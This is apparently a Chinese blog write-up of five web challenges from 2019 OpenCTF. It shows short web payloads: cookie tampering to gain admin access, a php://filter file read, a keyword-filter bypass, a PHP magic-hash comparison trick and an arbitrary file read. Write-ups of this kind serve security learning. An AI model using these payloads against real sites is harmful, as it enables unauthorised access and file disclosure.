CTF

2019 Openctf Web WriteUp

2019-10-05  本文已影响0人  Eumenides_62ac

i_love_cookie

id=guest,改成id=admin即可。

proxy

看到一个链接:

/index.php?url=http://naver.com

猜测是文件包含,可以读到admin.php

/index.php?url=php://filter/read=convert.base64-encode/resource=admin.php
<?php
    $flag = 'flag{basic_SSRF_XDDDDDDD}';
    if($_SERVER['REMOTE_ADDR'] === '127.0.0.1' || $_SERVER['REMOTE_ADDR'] === 'localhost' || $_SERVER['REMOTE_ADDR'] === '::1'){
        echo $flag;
    }
    else{
        echo 'hmm? you are not local ip';
    }

这题原意是ssrf吧。

easy_Web

看到一个id,尝试输入:id=admin
看到admin被过滤了。


双写:adadminmin
只剩下n,猜测admi也被过滤了。

构造:adadmiadminmin

magic

有个source.phps

<?php
$flag = "^^";
$user_hash = $_GET['GOGO'];
if(sha1("10932435112") == md5($user_hash)){
    echo "<h1>".$flag."</h1>";
}
else{
    echo "no... -_-;";
}
?>

看下sha1("10932435112")的结果:


所以只要找个md5值也为0exxx的值就可以了。
构造:
?GOGO=QNKCDZO

readme

看到file=1.jpg


有个任意文件读取:

题目没给flag,我自己放个在根目录下:

总结

入门题目,无聊玩玩。

上一篇 下一篇

猜你喜欢

热点阅读